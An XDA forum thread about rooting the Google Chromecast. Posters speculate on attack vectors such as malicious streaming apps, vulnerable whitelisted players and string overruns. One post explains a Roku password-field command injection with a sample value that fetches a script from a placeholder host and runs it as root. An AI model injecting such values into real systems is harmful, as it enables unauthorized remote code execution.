Now that the "gates are open" on the Google Chromecast it *should* in some way, be possible to root it now. I have done some security researching and I was wondering if we could create a malicious streaming app to stream a shebang file (hashbang, whatever you wanna call it; same tactic used in both versions of iOS' evasi0n) to run a script to root the device. We might also be able to stream over elf binaries that use kernel exploits to root the device then use adb to execute them from there. Please comment on your suggestions/thoughts/why this will or will not work. As always, thank you for taking the time to read this.
r3pwn
r3pwn said:
Now that the "gates are open" on the Google Chromecast it *should* in some way, be possible to root it now. I have done some security researching and I was wondering if we could create a malicious streaming app to stream a shebang file (hashbang, whatever you wanna call it; same tactic used in both versions of iOS' evasi0n) to run a script to root the device. We might also be able to stream over elf binaries that use kernel exploits to root the device then use adb to execute them from there. Please comment on your suggestions/thoughts/why this will or will not work. As always, thank you for taking the time to read this.
r3pwn
Click to expand...
Click to collapse
I like your thinking.
The first order would be to get root and disable OTA updates.
As long as the whitelist exists, a malicious app would be difficult to get past Google's approval. Kind of like how iOS had the "flashlight" app that allowed tethering until Apple shut it down.
It might actually have to be two parts - a functional app that has a vulnerability, and some specific trigger that can utilize the vulnerability. A backdoor into a normal app, or a some kind of specific login that triggers a specific server-side response, for example.
AFAIK, ADB isn't enabled on stock Chromecast.
Another potential attack vector is the setup mechanism on the Chromecast-side - for example if the SSID or keyphrase strings can be overrun, but Google may have already checked that stuff.
Because stock Chromecasts auto-accept OTA updates, I fear it will be a continual cat-and-mouse game of finding exploits and having them auto-patched by Google OTAs. Still, at least it would provide an option for folks who have an updated bootloader.
bhiga said:
I like your thinking.
The first order would be to get root and disable OTA updates.
As long as the whitelist exists, a malicious app would be difficult to get past Google's approval. Kind of like how iOS had the "flashlight" app that allowed tethering until Apple shut it down.
It might actually have to be two parts - a functional app that has a vulnerability, and some specific trigger that can utilize the vulnerability. A backdoor into a normal app, or a some kind of specific login that triggers a specific server-side response, for example.
AFAIK, ADB isn't enabled on stock Chromecast.
Another potential attack vector is the setup mechanism on the Chromecast-side - for example if the SSID or keyphrase strings can be overrun, but Google may have already checked that stuff.
Because stock Chromecasts auto-accept OTA updates, I fear it will be a continual cat-and-mouse game of finding exploits and having them auto-patched by Google OTAs. Still, at least it would provide an option for folks who have an updated bootloader.
Click to expand...
Click to collapse
The whitelist still exists? I had thought they removed that with the SDK.
Sent from my Nexus 7 using Tapatalk
r3pwn said:
The whitelist still exists? I had thought they removed that with the SDK.
Click to expand...
Click to collapse
According to this in the developer's guide you still have to allow your Chromecast to send its serial number, register your app which gives you an API key, and register your device so it can receive the app.
Only "published" apps will be available without registering your device, so still sounds like Google is the gatekeeper to publicly-available apps.
Hmm... I may have to hand over the $5 for the developer fee just to fool around. Or I may find an alternative by the time I can get around to getting a Google play card. Lol.
Sent from my Nexus 7 using Tapatalk
r3pwn said:
Hmm... I may have to hand over the $5 for the developer fee just to fool around. Or I may find an alternative by the time I can get around to getting a Google play card. Lol.
Click to expand...
Click to collapse
Not sure about your neighborhood, but the WA/OR Costcos are selling a 3-pack of $20 Google Play cards for $54 (so 10% discount)
bhiga said:
Not sure about your neighborhood, but the WA/OR Costcos are selling a 3-pack of $20 Google Play cards for $54 (so 10% discount)
Click to expand...
Click to collapse
I don't think I want to spend that much. If I don't find something else by then, I could just go to GameStop in the mall (right across the street from my school) and get a $15 one.
Sent from my Nexus 7 using Tapatalk
Walmart also sells play cards!
Sent from my SPH-L710 using xda app-developers app
Not sure we will ever find a security hole in the CCast with the whitelisting in effect but perhaps the search for a vulnerability should be made on the Player Apps that are already whitelisted.
Finding some content that could be sent to (ie via aVia) to play on CCast that isn't really media but does trigger some exploit to root the device.
In fact the cast a tab feature may be the weakest point in the CCast security. Hacking that extension could be the key to exploiting the CCast.
We need to get Chainfire to do the rooting stuff.
Asphyx said:
Not sure we will ever find a security hole in the CCast with the whitelisting in effect but perhaps the search for a vulnerability should be made on the Player Apps that are already whitelisted.
Finding some content that could be sent to (ie via aVia) to play on CCast that isn't really media but does trigger some exploit to root the device.
In fact the cast a tab feature may be the weakest point in the CCast security. Hacking that extension could be the key to exploiting the CCast.
Click to expand...
Click to collapse
I was actually thinking that to myself. There has to be some sort of thing to root the device other than the 2nd stage bootloader exploit that was patched already.
Sent from my iPod touch using Tapatalk
If anyone did sneakily get an app published with a root exploit, it would certainly risk revoking their SDK permissions due to a ToS violation.
Sent from my Nexus 5 using Tapatalk
cmstlist said:
If anyone did sneakily get an app published with a root exploit, it would certainly risk revoking their SDK permissions due to a ToS violation.
Sent from my Nexus 5 using Tapatalk
Click to expand...
Click to collapse
That is true. But if we exploited an existing app, Google would just "suspend" the app from the Play Store until the bug gets fixed. If the app were free, however, we could just back up a copy of the apk before the bug fix was patched and spread it around here on XDA. I'll look into some apps to see if it's possible.
Sent from my iPod touch using Tapatalk
r3pwn said:
That is true. But if we exploited an existing app, Google would just "suspend" the app from the Play Store until the bug gets fixed. If the app were free, however, we could just back up a copy of the apk before the bug fix was patched and spread it around here on XDA. I'll look into some apps to see if it's possible.
Click to expand...
Click to collapse
Well the exploit I was referring to would not be in an APK at all...
It would be on the App server CCast loads it's player's from.
The APKs that support CCast do not have any access to the filesystem of the CCast but the Player Apps CCast loads are on the device and the exploit would attack a vulnerability of that app to do something on the unit that the player app never considered.
Sort of like the old WMV exploit to launch web pages inside a Video that if existed as a capability in a CCast loaded Player App could launch a browser operation to a page with the Exploit code.
I'm sure Google has thought about all of that in their implementations but perhaps the 3rd Party Developers have not been so diligent about it.
In fact I think that precise issue is why Google does not allow someone like the PlexDevs to allow launch of Media to CCast from the Local PlexWeb (that can easily be user manipulated since it resides on their local machine) and will only allow them to implement it from the Plex.tv site that is not accessible to user manipulation at all.
Asphyx said:
In fact I think that precise issue is why Google does not allow someone like the PlexDevs to allow launch of Media to CCast from the Local PlexWeb (that can easily be user manipulated since it resides on their local machine) and will only allow them to implement it from the Plex.tv site that is not accessible to user manipulation at all.
Click to expand...
Click to collapse
And probably why Google maintains the whitelist.
As long as there is whitelist, Google can disable an app at will.
So once an external exploit becomes known (ie, "Play this specific video"), Google could easily disable the app until the developer updates it to patch the vulnerability.
The inability to refuse OTA updates and the lack of external accessibility/sideloading makes Chromecast quite secure.
bhiga said:
And probably why Google maintains the whitelist.
As long as there is whitelist, Google can disable an app at will.
So once an external exploit becomes known (ie, "Play this specific video"), Google could easily disable the app until the developer updates it to patch the vulnerability.
The inability to refuse OTA updates and the lack of external accessibility/sideloading makes Chromecast quite secure.
Click to expand...
Click to collapse
Tying CC to google framework/Play is annoying and disappointing. It's a walled-garden Apple approach.
wideasleep1 said:
Tying CC to google framework/Play is annoying and disappointing. It's a walled-garden Apple approach.
Click to expand...
Click to collapse
It all goes hand-in-hand for making sure things work and making sure the content providers don't yank the carpet out from under them.
If the content providers leave Google, Chromecast becomes useless for all the folks who bought it for what it does, rather than what we want it to be and do.
End-of-day for a product like this, it's user experience that will make or break it. That's probably why Google's being extra-cautious here. They're treading on Apple's turf.
wideasleep1 said:
Tying CC to google framework/Play is annoying and disappointing. It's a walled-garden Apple approach.
Click to expand...
Click to collapse
I've often wondered why Google is being this way with Chromecast of all things. Not that they roll out a red carpet to allow Android to be rooted. But they aren't actively trying to prevent it. I mean they've looked the other way forever with Gapps distribution.. I love Chromecast and worth every dime though. Just strange how much they're throwing up the walls everywhere for it
Sent from my Nexus 10
bhiga said:
It all goes hand-in-hand for making sure things work and making sure the content providers don't yank the carpet out from under them.
If the content providers leave Google, Chromecast becomes useless for all the folks who bought it for what it does, rather than what we want it to be and do.
End-of-day for a product like this, it's user experience that will make or break it. That's probably why Google's being extra-cautious here. They're treading on Apple's turf.
Click to expand...
Click to collapse
Not that I don't disagree, but for the sake of argument, I think that is Google's cop-out. They haven't concerned themselves with this in prior endeavors, although I'm sure the poor showing of GoogleTV had to smart. The truth as I see it: Google wants the data (sigint, if you will) our 'casting' provides, THAT is why it's walled. They may want to couch it with 'quality, content provider compliance,etc.', but only so far as it maintains THEIR sigint. After all, the content providers will always constrain their content as they see fit...it must be on their servers/cdn networks by their own hand. CC is a protocol, and now cannot be enjoyed without their sigint (framework/Play version). Google's modus is provide convenience products for the non-free price of your sigint data, so you can be sold to advertisers.
styckx said:
I've often wondered why Google is being this way with Chromecast of all things. Not that they roll out a red carpet to allow Android to be rooted. But they aren't actively trying to prevent it. I mean they've looked the other way forever with Gapps distribution.. I love Chromecast and worth every dime though. Just strange how much they're throwing up the walls everywhere for it
Sent from my Nexus 10
Click to expand...
Click to collapse
My explanation above offers a possible reason.
edit: apologies to OP for accidentally steering into non-root discussion!
styckx said:
I've often wondered why Google is being this way with Chromecast of all things. Not that they roll out a red carpet to allow Android to be rooted. But they aren't actively trying to prevent it. I mean they've looked the other way forever with Gapps distribution.. I love Chromecast and worth every dime though. Just strange how much they're throwing up the walls everywhere for it
Sent from my Nexus 10
Click to expand...
Click to collapse
Could be a requirement from the providers due to copyright concerns.
Related
Google blocks Chromecast app that let you stream your own videos...
"Google hasn't provided a clear answer on whether Chromecast will eventually let users stream their own local videos and music to the TV screen. But if early updates for the $35 dongle are any indication, the company doesn't want third-party developers trying to deliver that functionality. The most recent Chromecast update has broken support for AllCast, an Android application that previously allowed users to stream their personal media to a TV. AllCast (also known as AirCast thanks to a trademark dispute) could play back files stored in a phone's gallery, Dropbox, or Google Drive. Developer Koushik Dutta accomplished the feat by reverse engineering the Chromecast's code. He'd released several betas of the app, even planning a release on Google Play, before Google's latest software update broke things — "intentionally" in Dutta's opinion."
Read more...
http://www.theverge.com/2013/8/25/4...chromecast-app-that-let-you-stream-own-videos
They blocked these two apps so far:
https://plus.google.com/110558071969009568835/posts/G3jF2JynLc2
https://plus.google.com/117916055521642810655/posts/23BrB267QHJ
Let Google know exactly how you feel about this issue. If you're not happy downgrade and comment on their official Chromecast app.
https://play.google.com/store/apps/details?id=com.google.android.apps.chromecast.app&hl=en
xuser said:
They blocked these two apps so far:
https://plus.google.com/110558071969009568835/posts/G3jF2JynLc2
https://plus.google.com/117916055521642810655/posts/23BrB267QHJ
Click to expand...
Click to collapse
Those apps were never approved and on the app whitelist. ALL apps are blocked by default. Only approved apps will run on the Chromecast. What those apps were doing was reverse engineering the Chromecast and using a hack to get around it. Google fixed that hack.
New names for Chromecast:
iCast
Castrate
ClosedCast
CastOff
OutCast
Sucks that now only YouTube and Netflix are the only things that'll play. Enjoyed the ability to play local media.
xuser said:
New names for Chromecast:
iCast
Castrate
ClosedCast
CastOff
OutCast
Click to expand...
Click to collapse
I'm calling mine Ebaycast.
I've got a Roku3 that does everything I need..
Very disappointing! I was at a friend's home and he was showing off mirroring his iclone through Apple tv. Was hoping Chromecast would top that.
Sent from my EVO using xda app-developers app
After getting Aircast and fling to work, I ordered 2 more Chromecast dongles. Just cancelled them.
Hopefully Google is just temp blocking until ready to officially supporti 3rd party apps. If not, back to Roku.
I don't know if anyone else noticed but casting a local video file from a chrome browser tab actually plays smoother now. But aircast provided the easiest way to cast a video file from an Android phone.
After getting Aircast and fling to work, I ordered 2 more Chromecast dongles. Just cancelled them.
Click to expand...
Click to collapse
I have no interest in buying another Chromecast until this gets sorted out either.
So everyone is disappointed that it doesn't do something they never said it would? A lot to do about nothing if you ask me.
Sent from my SCH-I605 using xda app-developers app
So everyone is disappointed that it doesn't do something they never said it would? A lot to do about nothing if you ask me
Click to expand...
Click to collapse
Mostly because it was more useful when AllCast and Fling worked. Kind of back in the ballpark with Google TV now in that it doesn't do a lot (for me anyway). Nothing more, nothing less.
Disappointed
akellar said:
So everyone is disappointed that it doesn't do something they never said it would? A lot to do about nothing if you ask me.
Sent from my SCH-I605 using xda app-developers app
Click to expand...
Click to collapse
I'd say we are disappointed because it appears Google is intent on heading off the kind of innovation and creativity that has made the Android platform so wonderful. Google should let developers do what they do best: reverse engineer, hack and create, to turn Chromecast into the most powerful and versatile device it can be. They should let people root the device, they should let people work around the limits.
The disappointment is more that this is a sign that Google is not interested in fostering a creative, innovative developer community for Android. The disappointment is more that Google seems so short sighted in thinking they need to lock everything down. I thought they knew that a large part of the appeal of the platform has always been how open it is.
akellar said:
So everyone is disappointed that it doesn't do something they never said it would? A lot to do about nothing if you ask me.
Sent from my SCH-I605 using xda app-developers app
Click to expand...
Click to collapse
It may never have been announced to be able to do it, but to most it was obvious that the device was capable of doing it and that with dev support a lot was possible. It is disappointing to see how restrictive Google is being in taking away support for a function that the chromecast can handle. That being said, there will always be a way to accomplish this, it is just a matter of how inconvenient Google is going to make it.
While Google is within their own rights to change parts of the software that was never intended to be used for 3rd party, it's a massive mistake for Google to do this just to kill off those 3rd party apps. There must be a good reason for it and Google should make a public announcement as to why. There's probably a good % of sales of Chromecast specifically because of the functionality AirCast gave. I was going to buy a ChromeCast only because of the functionality AirCast gave but without this, a ChromeCast is useless for me.
I won't be buying until this functionality is officially supported or Google provides an official API/support for 3rd party applications that do provide this functionality.
Such a shame as Google had some much promise behind this product but that seems to have disappeared.
Hey
Just discovered an app that streams local content to any dnla player - wiTV. It offers mostly russian online contant but.. It also offers streaming local content from all of your devices including apple pc and Android. It creates a dnla local server on mobile devices and you can launch local media playback and scroll through it on the mobile device plays well on my old asus oplay r3 and samsung tv
Have fun and screw u Google! I can't believe i paid $100 to buy junk
Sent from my SAMSUNG-SGH-I747 using xda app-developers app
jamosjamos said:
I'd say we are disappointed because it appears Google is intent on heading off the kind of innovation and creativity that has made the Android platform so wonderful. Google should let developers do what they do best: reverse engineer, hack and create, to turn Chromecast into the most powerful and versatile device it can be. They should let people root the device, they should let people work around the limits.
The disappointment is more that this is a sign that Google is not interested in fostering a creative, innovative developer community for Android. The disappointment is more that Google seems so short sighted in thinking they need to lock everything down. I thought they knew that a large part of the appeal of the platform has always been how open it is.
Click to expand...
Click to collapse
The SDK isn't final. And in this case the developer hacked around one of the most essential parts (the app whitelist). No offense, but I don't want Netflix, HBO, etc to pull their content off the Chromecast so Google can let hackers design apps to stream content from my phone in a non-standard way that was never intented. How about we all wait until the SDK is final before judging Google. All they did was fix a security hole in the device.
Techno79 said:
While Google is within their own rights to change parts of the software that was never intended to be used for 3rd party, it's a massive mistake for Google to do this just to kill off those 3rd party apps. There must be a good reason for it and Google should make a public announcement as to why. There's probably a good % of sales of Chromecast specifically because of the functionality AirCast gave. I was going to buy a ChromeCast only because of the functionality AirCast gave but without this, a ChromeCast is useless for me.
I won't be buying until this functionality is officially supported or Google provides an official API/support for 3rd party applications that do provide this functionality.
Such a shame as Google had some much promise behind this product but that seems to have disappeared.
Click to expand...
Click to collapse
I agree.
I purchased the ChromeCast only for the purpose of wireless playing movies from my laptop to my HDTV. I currently use a HDMI cable, but thought wireless would be ideal.
I never use Netflix.
I never use Utube.
I wasted $35 plus shipping, because google refuses to allow me to use the hardware I purchased the way I want to.
It just arrived a few days ago, and I can root it.
But I don't think rooting it will help.
It's just a paperweight now.
Maybe I can return it to Google for a full refund?
ddiehl said:
I'm calling mine Ebaycast.
I've got a Roku3 that does everything I need..
Click to expand...
Click to collapse
Yeah, I just love DLNA support on my Roku3.
jamosjamos said:
I'd say we are disappointed because it appears Google is intent on heading off the kind of innovation and creativity that has made the Android platform so wonderful. Google should let developers do what they do best: reverse engineer, hack and create, to turn Chromecast into the most powerful and versatile device it can be. They should let people root the device, they should let people work around the limits.
The disappointment is more that this is a sign that Google is not interested in fostering a creative, innovative developer community for Android. The disappointment is more that Google seems so short sighted in thinking they need to lock everything down. I thought they knew that a large part of the appeal of the platform has always been how open it is.
Click to expand...
Click to collapse
I hope you sent this as feedback, very well put. The corporate device manufacture, including Google has benefited from free private development. A lot of the features that come on devices today started with the devs witch in turn busted sales from their innovation and put android where it is today.
Sent from my EVO using xda app-developers app
I don't under stand what the problem was. I mean, I was just using AllCast to watch videos of my kids on the TV. I'm not willing to spend time to upload videos to YouTube just to do that (nevermind privacy concerns and the fact the world doesn't care about my kid doing backflips off the couch).
I already have an HTPC for media playback, there's only personal content on my phone.
This was probably disabled because it wasn't using the actual SDK and was more of a hack. Was neat while it lasted.
Does anyone know if there will be any rooting to the current builds of Chromecast?
No
85gallon said:
No
Click to expand...
Click to collapse
Are you sure about that? I thought nothing has been found yet but still looking for a way.
wptski said:
Are you sure about that? I thought nothing has been found yet but still looking for a way.
Click to expand...
Click to collapse
Well they found an exploit in the original (Shipped) ROm that Google quickly plugged up.
And Google has been updating the ROM like Crazy (Compared to what you see on Phones) so it's difficult to keep up (God Bless Team Eureka for doing so!)
Rooting presents some issues since Google could stop you from updating via OTA if it sees root so it almost makes little sense to root right now since it is unlikely to be permanent, will make getting the latest Updates sketchy.
Until such time as the ROM is mature enough with enough App Support that they won't be constantly updating the unit, (Even if just to update the Whitelist) I don't see anyone coming up with a permanent rooting method.
Truth is the Whitelist is the biggest reason to Root and Flash a custom that I know of but I'm sure Team Eureka has added some goodies to their ROM that I'm not aware of.
If you want a rooted CCast I suggest trying to find one with a Rootable Serial Number and rooting that one before it Updates with Google.
The original hack to root the Chromecast was in the boot loader. Google has patched that and made the boot loader secure. You can't install any software on the Chromecast, and it will only talk to whitelisted apps, so how are you going to root it now? I'm not saying it's impossible, just very difficult.
For example an exploit to root the very secure Roku boxes came out 2 days ago, and the security hole exploited was an incredibly dumb oversight by Roku. The Roku can be put into Developer Mode by a special combination of remote button presses. The Developer Mode displays extra information and allows you to install apps over a local network without going through the app store, but the app environment is no less secure. You can specify a password for Developer Mode when you first set it up, and you can later reset that password if you want. When you type in a new password, the Roku internally executes a shell command of the form "passwd rokudev (new password)" to set the password. Somehow Roku forget to check and clean the password field input, and you are allowed to use a semi-colon in the password. But a semi-colon is used in Linux to separate multiple commands on one line, so when the password input is internally inserted into the command line to set the new password, everything after a semi-colon is interpreted as a new Linux shell command and executed with full root privilege. So for example the password input ";wget -O/tmp/x.sh http://SomeExploitScript;sh /*/x.sh;" happily downloads and executes whatever exploit script you want on the device with full root privilege.
Could something like that happen on the CC? Maybe.
DJames1 said:
Somehow Roku forget to check and clean the password field input, and you are allowed to use a semi-colon in the password. But a semi-colon is used in Linux to separate multiple commands on one line, so when the password input is inserted into the command line to set the new password, everything after a semi-colon is interpreted as a new Linux shell command and executed with full root privilege. So for example the password input ";wget -O/tmp/x.sh http://exploitscript;sh /*/x.sh" happily downloads and executes whatever exploit script you want on the device with full root privilege.
Click to expand...
Click to collapse
Ouch, that's like a SQL injection attack.
Back to Chromecast, I think everyone's waiting for the SDK to be released and hoping to find an exploit there, as once the SDK is released it's more difficult to change it or take it back.
Asphyx said:
Well they found an exploit in the original (Shipped) ROm that Google quickly plugged up.
And Google has been updating the ROM like Crazy (Compared to what you see on Phones) so it's difficult to keep up (God Bless Team Eureka for doing so!)
Rooting presents some issues since Google could stop you from updating via OTA if it sees root so it almost makes little sense to root right now since it is unlikely to be permanent, will make getting the latest Updates sketchy.
Until such time as the ROM is mature enough with enough App Support that they won't be constantly updating the unit, (Even if just to update the Whitelist) I don't see anyone coming up with a permanent rooting method.
Truth is the Whitelist is the biggest reason to Root and Flash a custom that I know of but I'm sure Team Eureka has added some goodies to their ROM that I'm not aware of.
If you want a rooted CCast I suggest trying to find one with a Rootable Serial Number and rooting that one before it Updates with Google.
Click to expand...
Click to collapse
Sounds like your anti-root and so your not rooted? The latest Team Eureka ROM is based on the latest Google build so I don't see a problem there. I have two TV's using only one rooted CC on my main TV but have a spare rooted CC as a backup right now.
LOL this is XDA...the word IMPOSSIBLE isn't part of the Vocabulary here!
Someone will find a way to send something to CCast that makes it rooted...
Nothing is completely secure around these parts!
I think the only current downside to being root vs not is that updates are slightly delayed.
IMO that's not a bad thing because Team Eureka has been very quick on updates and having them look at updates before they roll out to me means there's one extra level of bug detection (and in some cases, fixing!).
A potential but as of yet unmaterialized risk of being root is being denied access to Google Play Movies if root is detected. However, I don't really expect that to happen as Chromecast doesn't have storage, unlike phones which often download content for later playback.
wptski said:
Sounds like your anti-root and so your not rooted? The latest Team Eureka ROM is based on the latest Google build so I don't see a problem there. I have two TV's using only one rooted CC on my main TV but have a spare rooted CC as a backup right now.
Click to expand...
Click to collapse
Nope not rooted....At least on my CCast....I have a dozen other devices all rooted because rooting gives me the ability to change some parameters and add some capability disabled by default.
Not against Root but Root is really only worthwhile if you need to do something you can't do unrooted.
What are you doing with root that I can't right now other that bypass a whitelist? Running a Rom that incorporates the fixes I got today sometime tomorrow? Im sure team Eureka's rom does much more than just bypass the Whitelist but really other than All Cast (which I don't need since I got PlexPass) there is nothing I have seen root and a custom ROM do that I don't already have except maybe Screen Mirroring which doesn't really require root just someone to make an APP that tells the CCast it is a Googlecast which is on the Whitelist.
Does rooting make the NBC app able to stream to the CCast?
What I AM against is Flash Addiction though....
See a Nightly and just flash it because it's new without any regard to if it is better or stable!
Too many people seem to buy devices to flash every day as opposed to using them to do what the device is made for and can't because they keep flashing Nightlies that don't work reliably but thats another story entirely.
---------- Post added at 06:47 PM ---------- Previous post was at 06:44 PM ----------
bhiga said:
I think the only current downside to being root vs not is that updates are slightly delayed.
IMO that's not a bad thing because Team Eureka has been very quick on updates and having them look at updates before they roll out to me means there's one extra level of bug detection (and in some cases, fixing!).
A potential but as of yet unmaterialized risk of being root is being denied access to Google Play Movies if root is detected. However, I don't really expect that to happen as Chromecast doesn't have storage, unlike phones which often download content for later playback.
Click to expand...
Click to collapse
And let me be clear this is not meant to downplay the usefulness of the Team Eureka project in any way shape or form...
But I missed out on Rooting because I got the Update and the device doesn't seem to be limiting me on what I need it to do so I'm not really missing the lack of Whitelist!
Team Eureka has been VERY QUICK with the updates as they happen and if you have root good for you!
But I'm not going to complain or keep asking for a new Rooting Method just to have something I don't seem to need right now.
I gave up bragging about what I did to my Devices long ago! LOL
Asphyx said:
Not against Root but Root is really only worthwhile if you need to do something you can't do unrooted.
Click to expand...
Click to collapse
Right now the benefits are:
Custom/Team Eureka whitelist (use apps that aren't Google-blessed) (you already mentioned this )
Check temperature
Manage parameters via web dashboard
Change DNS
Root will rarely fix a broken/buggy app.
So you're right - there isn't a lot of reason to root now that there are Google-blessed app options for casting from local storage, network, and Internet/cloud.
But of course, this is XDA, so sometimes we just want root for the sake of root.
...and temperatures appeal to our outer geek.
---------- Post added at 11:03 AM ---------- Previous post was at 10:55 AM ----------
Asphyx said:
What I AM against is Flash Addiction though....
See a Nightly and just flash it because it's new without any regard to if it is better or stable!
Too many people seem to buy devices to flash every day as opposed to using them to do what the device is made for and can't because they keep flashing Nightlies that don't work reliably but thats another story entirely.
Click to expand...
Click to collapse
First I thought you were talking Adobe (formerly Macromedia) Flash... and I was going to agree.
But you're talking device flash. And I still agree.
I always have fear that automatic updates promote a mentality of "Oh, well, if it's broken we'll just push another update" - that's another advantage of being rooted - you could just turn OTA updates off and you don't have to accept the latest-and-sometimes-not-so-great version.
However, until the SDK is officially released, it's quite possible that some new app or feature will require a particular minimum build, which could cause the delay between official release and rooted release to cause rumblings in the impatient masses. :angel:
Long story short, the core market for Chromecast is people who want to simply Plug and Play. The rest of us are just special.
(Okay, now I think I've exhausted my smiley quota for today)
Asphyx said:
What I AM against is Flash Addiction though....
See a Nightly and just flash it because it's new without any regard to if it is better or stable!
Too many people seem to buy devices to flash every day as opposed to using them to do what the device is made for and can't because they keep flashing Nightlies that don't work reliably but thats another story entirely.
Click to expand...
Click to collapse
Flashing a Nightly is nothing! You see the same users in multiple ROM threads so they aren't flashing a new update, they are changing ROMs daily. I got into trouble mentioning/questioning the fact that there were numerous users that never turn off their tablets which boots in 13 seconds. Seems you can't question the reasons why. They must sleep with them!
bhiga said:
Right now the benefits are:
Custom/Team Eureka whitelist (use apps that aren't Google-blessed) (you already mentioned this )
Check temperature
Manage parameters via web dashboard
Change DNS
Root will rarely fix a broken/buggy app.
So you're right - there isn't a lot of reason to root now that there are Google-blessed app options for casting from local storage, network, and Internet/cloud.
But of course, this is XDA, so sometimes we just want root for the sake of root.
...and temperatures appeal to our outer geek.
Click to expand...
Click to collapse
Yep! And I'm not bemoaning anyone else wanting Root just saying that unless you REALLY need something that requires it I personally don't see the point.
But it's not like root is going to get me WiFi Tethering or a Boat free version of AOSP 4.4
I'm in the US so I don't need to worry about Region blocking and truth is I don't use any service other than NetFlix that requires it. All of My Media is my own via Plex.
As for Temperature I only have three Temps I use in my daily life...
Too Hot
Too Cold
I'm Fine!
LOL
Whitelist bypassing is about the only feature I could want but I haven't seen an App yet that I need (except maybe AllCast) that really compels me to fret about not being rooted.
I fully understand other people's desire to get root especially here, But I also know that Devs rarely waste time on doing the same thing over and over again or waste time cracking root unless they are extremely bored. They have better things to do than play Root Tag with Google!
I would hope instead of working on Root they were working on Apps that could be whitelisted cause at some point if enough apps request whitelisting and it becomes a nuisance to manage on the Google side they will get rid of it entirely! LOL
---------- Post added at 07:21 PM ---------- Previous post was at 07:07 PM ----------
wptski said:
Flashing a Nightly is nothing! You see the same users in multiple ROM threads so they aren't flashing a new update, they are changing ROMs daily. I got into trouble mentioning/questioning the fact that there were numerous users that never turn off their tablets which boots in 13 seconds. Seems you can't question the reasons why. They must sleep with them!
Click to expand...
Click to collapse
It doesn't bother me if thats how they choose to pas the time of their day...LOL To Each his own...
But they almost always come back and complain if the Dev doesn't give them their Fix in a timely fashion!
Even to the point that they donate to the Dev and then expect their $5 donation entitles them to a Weekly update to flash...
The Best however are the few who never read the changelog of the Roms they use and the Developer has a CRONTAB builder running to make a new Nightly automatically regardless if any changes were made!
And they come back and say This version is MUCH BETTER or WORSE! LOL
It's the same EXACT rom you ran yesterday! LOL
@bhiga My Chart say you still have about 20 smileys left! LOL
I chaulk most of the insanity up on FKOTB syndrome (First Kid On The BLOCK)
My devices working and stable is much more important than what it says on the About Page!
But they have been conditioned to think that one number higher somehow relates to being better! LOL
Ok enough off topic Banter My chart says I HAVE reached my Off Topic Quota for the day! LOL
So TC is basically asking someone to read the future.... Interesting.
Sent from my HTC One X using Tapatalk 2
Asphyx said:
I'm in the US so I don't need to worry about Region blocking and truth is I don't use any service other than NetFlix that requires it.
Click to expand...
Click to collapse
I wonder if U.S. users understand how much content they are missing from other countries?
Like the U.K. sources such as the BBC iPlayer and ITV, and the much greater range of new movies on Netflix Canada/Mexico/Brazil/Sweden etc. where licencing is easier and cheaper?
wptski said:
Are you sure about that? I thought nothing has been found yet but still looking for a way.
Click to expand...
Click to collapse
You are reading too much into answer. I simply answered his question. No. Nobody knows if there will be an exploit. Chances are it will happen, but there currently isn't one and nobody knows if there will be one.
DJames1 said:
I wonder if U.S. users understand how much content they are missing from other countries?
Like the U.K. sources such as the BBC iPlayer and ITV, and the much greater range of new movies on Netflix Canada/Mexico/Brazil/Sweden etc. where licencing is easier and cheaper?
Click to expand...
Click to collapse
We can get that content just fine actually....
The restrictions for you folk in the UK have more to do with EU Import limitations not the fact content is restricted by region.
The only Content we can't get here that you can get is stuff like NFL streaming packages because the TV networks here who pay for that content forbid it. Yet I still watch live football anytime I want regardless of what they decided to show me on TV that day.
The only thing that was stopping us from seeing the stuff on BBC iPlayer was their insistence on using Flash which many devices have dropped support for in the US. They have since got away from flash I believe...I now get it via Plex Channel.
And when all else fails and it isn't available via a stream I just load up the ole uTorrent and there it is sitting on my Plex Server in no time.....
Guess it depends on how you put the subject and question together...
Is there a root method for builds newer than 12072?
No.
Will there be a root method for builds newer than 12072?
Nobody knows. The crystal ball is not giving an answer, and we don't trust the Magic 8-Ball.
Yeah, it would make things so much easier to be able to change the DNS. I hope they can get this rooted again.
Sent from my Nexus 4 using xda app-developers app
Roku patched the rooting loophole in their firmware and has pushed it out by automatic update. Time from publication of the vulnerability to patching: 1.5 days.
Google isn't quite that on-the-ball, but if a new vulnerability to root the Chromecast comes out, I hope the originators wait for at least a holiday weekend before publishing it to give us a chance.
I have read that google wilp be adding screenmirroring for chromecast but my chromwcast has not gotten any updates since i unboxed it. And i know they havenot enabled mirroring yet but i think there was a recent update wasmt there?
My chromecast is not rooted or anything
Sent from my One S using xda app-developers app
cannondaleV2000 said:
I have read that google wilp be adding screenmirroring for chromecast but my chromwcast has not gotten any updates since i unboxed it. And i know they havenot enabled mirroring yet but i think there was a recent update wasmt there?
My chromecast is not rooted or anything
Click to expand...
Click to collapse
Android screen mirroring has not arrived yet. And by the looks of it, the device side will have to be supplied by OEMs, most likely baked into ROMs. I could see screen mirroring easily being used by malware, so this is probably a security measure.
bhiga said:
Android screen mirroring has not arrived yet. And by the looks of it, the device side will have to be supplied by OEMs, most likely baked into ROMs. I could see screen mirroring easily being used by malware, so this is probably a security measure.
Click to expand...
Click to collapse
So is it already there on the android side? With the cast screen thing in settings? And will it work with roms like cm slim omni etc?
Sent from my One S using xda app-developers app
cannondaleV2000 said:
So is it already there on the android side? With the cast screen thing in settings? And will it work with roms like cm slim omni etc?
Sent from my One S using xda app-developers app
Click to expand...
Click to collapse
It's available in the AOSP SDK for KitKat.
Which means it is possible that they have plans to implement it in the future if the Manufacturers want to.
But it appears to be nothing much more than a way of doing Miracast with a Chromecast.
And I'm willing to bet that for the security reasons bhiga mentioned it will only work as a Radio to Radio connection in the same way Miracast does.
That will solve the issues of malware since it would really only work to send to a CCast very close and near to the unit.
Asphyx said:
It's available in the AOSP SDK for KitKat.
Which means it is possible that they have plans to implement it in the future if the Manufacturers want to.
But it appears to be nothing much more than a way of doing Miracast with a Chromecast.
And I'm willing to bet that for the security reasons bhiga mentioned it will only work as a Radio to Radio connection in the same way Miracast does.
That will solve the issues of malware since it would really only work to send to a CCast very close and near to the unit.
Click to expand...
Click to collapse
I hope it's not just radio-to-radio as it would be restrictive for some apps, but at least limiting the functionality to OEM manufacturers means no third-party apps could silently launch screen-mirroring. Assuming you trust your OEM manufacturer, at least.
bhiga said:
I hope it's not just radio-to-radio as it would be restrictive for some apps, but at least limiting the functionality to OEM manufacturers means no third-party apps could silently launch screen-mirroring. Assuming you trust your OEM manufacturer, at least.
Click to expand...
